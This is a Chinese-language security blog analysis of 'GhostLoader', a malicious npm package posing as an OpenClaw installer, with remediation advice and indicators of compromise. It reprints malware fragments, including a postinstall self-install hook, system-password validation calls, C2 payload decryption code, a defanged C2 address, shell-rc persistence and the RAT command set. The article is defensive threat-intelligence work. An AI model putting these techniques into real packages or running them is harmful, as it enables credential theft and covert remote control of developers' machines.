GhostClaw现形记:伪装成OpenClaw的npm毒包,能偷走你的一切

admin 2026-03-13 00:17:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 安全团队披露恶意npm包@openclaw-ai/openclawai伪装成合法工具,通过社工骗取系统密码,窃取浏览器数据、加密钱包及SSH密钥等敏感信息。该木马GhostLoader具备持久化驻留与远程控制功能,危害极大。文章详细分析了其攻击链与反取证技术,提供了包含清除持久化、轮换凭证及重装系统在内的应急处置建议。 综合评分: 93 文章分类: 恶意软件,供应链安全,威胁情报,应急响应


cover_image

GhostClaw 现形记:伪装成 OpenClaw 的 npm 毒包,能偷走你的一切

幻泉之洲

2026年3月11日 10:14 北京

安全研究团队发现一个名为 @openclaw-ai/openclawai 的恶意 npm 包。它伪装成“OpenClaw安装器”,实则是一个分阶段作案的木马:先通过社交工程骗走你的系统密码,再窃取浏览器数据、加密货币钱包、SSH密钥、苹果钥匙串等,最后植入一个功能齐全的远程访问木马。

一个冒牌货潜入了开源世界

JFrog 的安全研究团队最近逮住了一个“活生生”的恶意 npm 包。它的名字是 @openclaw-ai/openclawai。

这名字听起来很眼熟是吧?它就是在明目张胆地冒充那个合法的 CLI 工具“OpenClaw 安装器”。但只要你一安装,它就开始执行一套复杂的攻击流程。

先偷你的系统密码,再挖空你的浏览器。加密货币钱包和 SSH 密钥也别想跑,连苹果钥匙串数据库和 iMessage 聊天记录都给你打包带走。最后,它会在你电脑里安家,装上一个功能完备的 RAT——远程访问木马。

这个木马能干啥?建立一个 SOCKS5 代理隧道,甚至能“克隆”你正在使用的浏览器会话。这意味着攻击者可以像你一样登录你的账户,而你毫无察觉。

这款恶意软件内部自称为 GhostLoader。

说实话,这个包让我有点后背发凉。不是因为它的技术有多神,而是因为它太懂开发者了,套路设计得相当周到。

包装精美的陷阱

咱们先看看这个包的“门面”。它的 package.json 文件看起来人畜无害。


{  "name": "@openclaw-ai/openclawai",  "version": "1.5.15",  "description": "🦞 OpenClaw Installer - Integration utilities",  "main": "src/index.js",  "types": "src/index.d.ts",  "files": [    "src",    "scripts/setup.js",    "scripts/postinstall.js",    "scripts/build.js"  ],  "bin": {    "openclaw": "./scripts/setup.js"  },  "scripts": {    "start": "node src/index.js",    "build": "node scripts/build.js",    "lint": "eslint src/**/*.js",    "test": "jest"  },  "license": "MIT",  "keywords": [    "utility",    "sdk",    "integration"  ],  "dependencies": {}}

项目的主入口 src/index.js 导出的只是一个诱饵工具函数 useAsyncState。真正的恶意代码,藏在 scripts/ 目录下。

这里有一个关键的钩子:postinstall。在你执行 npm install 之后,它会悄无声息地干一件事——把这个包再全局安装一遍。

const { execSync } = require(‘child_process’); execSync(“npm i -g @openclaw-ai/openclawai”, { stdio: ‘inherit’ });

这么一来,openclaw 这个二进制命令就被放到了系统的 PATH 路径下。这是整个攻击链条的第一个触发器。

接下来,当你试图在命令行里运行 openclaw 时,实际上执行的是那个经过高度混淆的脚本:scripts/setup.js。这就是它的第一阶段投放器。

第一步:骗走你的密码

setup.js 这个文件被花式混淆过,什么字符串表重排、RC4解码、控制流扁平化,能用的都用上了。

运行起来后,它会给你展示一个非常“专业”的假 CLI 安装器界面。动态进度条、旋转的指示器、逼真的系统日志输出,应有尽有。这界面做得比很多正经工具还像那么回事。

进度条走完,戏肉来了。

屏幕上弹出一个“钥匙串授权”提示,让你输入系统密码。提示语写得有模有样,说这是为了安全存储凭证,需要管理员权限,还说这是“一次性操作”。

Keychain Authorization Required OpenClaw needs to securely store credentials in the macOS Keychain. Administrator privileges are required for the initial setup. This is a one-time operation for secure vault initialization.

你最多可以尝试5次。每次你输入密码,它都会偷偷调用真正的系统认证接口去验证。

// macOSspawnSync("dscl", [".", "-authonly", username, password], { stdio: "pipe", timeout: 5000 });// WindowsspawnSync("powershell", ["-NoProfile", "-NonInteractive", "-Command",    "... $ctx.ValidateCredentials('" + username + "', '" + password + "') ..."]);// LinuxspawnSync("su", ["-c", "true", username], { input: password + "\n", stdio: "pipe" });

验证失败了?它会原样显示“认证失败,请重试”,把操作系统自己的错误提示模仿得惟妙惟肖。

就在你盯着这个假界面,犹豫要不要输入密码的时候,脚本已经在后台偷偷干活了。

暗度陈仓:加密下载第二阶段载荷

它开始从远方的命令与控制服务器下载真正的“重量级”恶意软件。

为了躲避静态扫描,C2服务器的地址和路径都用异或编码成了数字数组,运行时才解密。

var_60.map((val, i) => String.fromCharCode(val ^ var_61[i])).join("") // 解密结果:https://trackpipe.devvar_65.map((val, i) => String.fromCharCode(val ^ var_66[i])).join("") // 解密结果:fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e

最后凑成一个完整的请求地址:hxxp[://]trackpipe[.]dev/t/bootstrap?t=fafc0e77-9c1b-4fe1-bf7e-d24d2570e50e

C2服务器返回一个JSON,包含两个关键字段:p是经过base64编码的加密载荷,k是十六进制的解密密钥。

载荷使用 AES-256-GCM 算法解密,这是一种带有认证标签的加密模式,目的是确保数据在传输过程中没被篡改。

const encrypted = Buffer.from(response.p, "base64");const key = Buffer.from(response.k, "hex");const iv = encrypted.slice(0, 16);const authTag = encrypted.slice(16, 32);const ciphertext = encrypted.slice(32);const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);decipher.setAuthTag(authTag);let decrypted = decipher.update(ciphertext);decrypted = Buffer.concat([decrypted, decipher.final()]);

解密得到的 JavaScript 代码,被写入一个临时文件,然后以一个“分离”的子进程方式静默启动。你刚刚输入的系统密码,就通过环境变量 NODE_AUTH_TOKEN 传给了这个新进程。一个叫“complexarchaeologist1”的战役标识符也一并传了过去。

这个临时文件在60秒后会被删除。从你的角度看,npm install 命令一切正常,成功结束。而你电脑的后台,已经多了一个正在运行的恶意程序。

如果一次不够,就再骗一次

如果第一阶段发现它无法访问关键的 Safari 目录(可能是因为没开“完全磁盘访问”权限),它还会发起第二轮社交工程攻击。

脚本会弹出一个 AppleScript 对话框,恳请用户给“终端”应用授予完全磁盘访问权限,甚至还附带了一步一步的图文指引。对话框上直接有个按钮,一点就能打开系统偏好设置里对应的页面。

一旦用户照做,第二阶段载荷就能畅通无阻地窃取苹果备忘录、iMessage、Safari 浏览历史和邮件数据了。

第二阶段:GhostLoader,全员恶人登场

这第二阶段的载荷,是一个大约11700行的 JavaScript 巨型捆绑包。它是完整的信息窃取器和远程访问木马框架。

它首先会把自己永久安装在系统里。

它把自己拷贝到一个伪装成“npm遥测服务”的隐藏目录:

  • macOS / Linux:~/.cache/.npm_telemetry/monitor.js
  • Windows:%APPDATA%/.npm_telemetry/monitor.js

这名字起得可真够“合规”的,让人第一眼看了都不想删。

光拷贝自己还不够,它要保证能一直活着。

它在你的 ~/.zshrc~/.bashrc~/.bash_profile 这些 shell 配置文件的末尾,偷偷加上几行代码。这几行代码被伪装成“# NPM Telemetry Integration Service”的注释。它的作用是检查一个 .lock 锁文件,如果发现恶意进程没在运行,就立刻用 nohup 命令在后台把它重新拉起来。

在 Linux 上,它还会往 crontab 里加一个 @reboot 的任务,确保每次系统重启,它都能自动复活。

完成安装后,它会从新的安装路径把自己再运行一遍,然后原来的进程退出。这样一来,它就完成了“转正”,从一个临时文件变成了系统里的常住“幽灵”。

开箱即用的“数据收集大礼包”

首次运行时,main() 函数会启动一次全面数据收集,并且设置了10分钟的超时时间。

它先给攻击者的 Telegram 机器人发一条“新会话”通知,把你刚被骗走的密码、主机名、IP、国家、系统配置都报上去。

然后,真正的搜刮开始了:

  • macOS 钥匙串:

    本地的 login.keychain-db 和所有 iCloud 钥匙串数据库,连日志文件(-wal, -shm)都不放过。

  • 浏览器凭证:

    如果你用的是 Chromium 内核浏览器(Chrome, Edge, Brave 等),它就用骗来的密码解开 macOS 钥匙串,拿到 Chrome 的“安全存储”密钥,然后解密你所有的密码、Cookie、信用卡信息和自动填充数据。Firefox 的密码则通过 NSS/PKCS#12 机制解密。它还会得意地统计:“解密了42个密码,3张卡,128条自动填充数据”。

  • CDP Cookie 窃取:

    对于没法直接从数据库提取的 Cookie,它就启动无头浏览器,连接 Chrome 开发者工具协议,把Cookie全给导出来。

  • 加密货币钱包:

    桌面端钱包(Exodus, Electrum等)和浏览器插件钱包(MetaMask, Phantom等)都是目标。

  • 助记词扫描器:

    在你的桌面、文档、下载文件夹里翻箱倒柜,扫描所有文件,用BIP-39词库匹配法寻找助记词。

  • SSH密钥:

    整个 ~/.ssh/ 目录打包带走。

  • AI 代理配置:

    从零开始,它能嗅探到你的 AI 代理配置,比如 ZeroClaw 或 PicoClaw。

  • 截图和文件查找:

    截取屏幕,并按扩展名(.doc, .pdf, .xlsx, .env, .pem 等)搜索敏感文件。

这些数据被打包压缩,通过 Telegram 的 Bot API 发送给攻击者。如果文件太大,它会自动转存到 GoFile.io 这类文件分享服务,并且用硬编码的密码把压缩包锁上。

最后,攻击者 Telegram 上会收到一份格式工整的“战报”:

GhostLoader Report[ Target ]  Worker:    complexarchaeologist1  Campaign:  @openclaw-ai/openclawai  User:      victim  Host:      MacBook-Pro.local  Country:   US[ Findings ]  password .. hunter2  pass .......... 42  cards ......... 3  autofill ..... 128  CDP .......... 4  wallets ...... 2  seeds ........ 1  ssh ............ 3  FDA ........... Yes (5)  persist ...... Yes  keychain ... Yes  browsers .. 3  AI agents . ZeroClaw (4), PicoClaw (2)

数据都发完了,它再把本地的“赃物”目录清理干净,不留痕迹。

长期潜伏:远程访问木马模式

在首次大扫荡之后的运行中,木马就进入了安静的守护进程模式。

  • 剪贴板监控:

    每3秒读一次系统剪贴板,匹配预定义的正则表达式。  一旦命中,立即发送给攻击者。

  • 私钥、助记词?抓。

  • 比特币、以太坊地址?抓。

  • AWS密钥、OpenAI的sk-密钥、Stripe密钥?全都抓。

  • 进程监控:

    看看你在跑什么有趣的应用。

  • iMessage 监控 (macOS):

    实时监听聊天数据库的新消息。

攻击者想干嘛就干嘛

木马大约每25秒(有30%的随机抖动)联系一次C2服务器,询问有没有新命令。

它支持的命令列表很全:

| 命令 | 描述 | | — | — | | EXEC | 执行任意shell命令(85秒超时),将输出返回给C2 | | OPEN | 在受害者默认浏览器中打开一个网址 | | UPDATE | 下载新载荷(AES-256-GCM加密),覆盖自己,重启 | | GRAB | 将任意文件或目录打包并外传 | | RECOLLECT | 重新运行完整的数据收集(可带新密码) | | PROXY_START | 在受害者机器上启动SOCKS5代理 | | PROXY_STOP | 停止SOCKS5代理 | | PROXY_STATUS | 报告代理端口、活跃连接、运行时间 | | CLONE_START | 克隆浏览器配置并启动无头浏览器,将CDP中继给C2 | | CLONE_STOP | 停止浏览器克隆 | | CLONE_STATUS | 列出可用浏览器及活跃克隆 | | NUKE | 完全自毁 |

UPDATE 命令让攻击者可以随时远程升级木马,无需重新发包到 npm。

CLONE_START 命令尤其危险。它完整复制你的浏览器配置,启动一个无头实例,然后把浏览器的调试WebSocket接口直接转发给攻击者。这意味着攻击者能获得一个完全登录状态的浏览器会话,像你一样操作你的网上账户。

NUKE 命令则是终极清理:杀进程、删钩子、清cron任务、扫临时文件、递归删除安装目录,力求不留痕迹。

反取证手段

GhostLoader 为了不被发现,用了不少心思:

  • 分离子进程,关闭标准输入输出,进程名伪装成 node
  • 临时文件60秒自毁。
  • 安装目录伪装成 .npm_telemetry
  • Shell钩子伪装成“# NPM Telemetry Integration Service”。
  • Cron任务伪装成“# Node.js Telemetry Collection”。
  • 赃物目录在数据外传后立即删除。
  • 锁文件防止多个实例同时运行。
  • 崩溃时还能把调试日志发给攻击者,然后自己安静退出。

如果你中招了,怎么办?

如果你在任何时候安装过 @openclaw-ai/openclawai,请立即执行以下步骤。

  1. 清除持久化:

    检查 ~/.zshrc~/.bashrc~/.bash_profile~/.zshenv~/.profile 这几个文件,删掉所有包含 npm_telemetry 或 “NPM Telemetry Integration Service” 的行。运行 crontab -l,删掉所有引用 .npm_telemetry 的条目。

  2. 杀进程:

    运行 ps aux | grep monitor.js 和 ps aux | grep npm_telemetry,找到并杀死任何相关的进程。

  3. 删目录:

    删除隐藏的安装目录。macOS/Linux:rm -rf ~/.cache/.npm_telemetry/;Windows:去 %APPDATA% 下删除 .npm_telemetry 文件夹。

  4. 卸载包:npm uninstall -g @openclaw-ai/openclawai && npm uninstall @openclaw-ai/openclawai

  5. 轮换所有凭证:

    系统密码、SSH密钥、所有API令牌(AWS, GCP, Azure, OpenAI, Stripe, npm, GitHub CLI 等)、浏览器保存的密码、所有可能暴露的加密货币钱包助记词。全部换掉。

  6. 吊销浏览器会话:

    你的Cookie都被偷了。在所有支持会话管理的服务(如Google, GitHub)上,登出所有活跃会话。

  7. 考虑重装系统:

    考虑到它获得了系统密码、完整钥匙串、浏览器会话、SOCKS5代理和浏览器克隆能力,强烈建议彻底重装系统。

最后的一点想法

@openclaw-ai/openclawai 这个包,把社交工程、加密载荷投递、大规模数据窃取和持久化RAT全部打包在一起。它那个假CLI安装器和钥匙串提示,足以骗过很多谨慎的开发人员。

一旦它拿到了你的系统密码,就等于拿到了打开你数字保险箱的钥匙。macOS的钥匙串保护、浏览器的加密存储,在正确的密码面前都形同虚设。

开发者必须对任何有可疑行为的npm包保持警惕:

  • 要求输入系统密码的。
  • 通过postinstall脚本全局安装自己的。
  • 在安装时从远程拉取“运行时载荷”的。

安装OpenClaw这类工具时,只用官方来源的包,警惕任何名字相似的三方替代品。

这个包目前已被 JFrog Xray 和 JFrog Curation 检测出来。

失陷指标(IoC)

| 指标 | 值 | | — | — | | 包名 | @openclaw-ai/openclawai | | 包类型 | npm | | 版本 | 1.5.15, 1.5.14 | | C2域名 | hxxps[://]trackpipe[.]dev | | 安装目录 | ~/.cache/.npm_telemetry/ | | 可执行文件名 | monitor.js | | 战役ID | complexarchaeologist1 |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:幻泉之洲 《GhostClaw 现形记:伪装成 OpenClaw 的 npm 毒包,能偷走你的一切》

    评论:0   参与:  0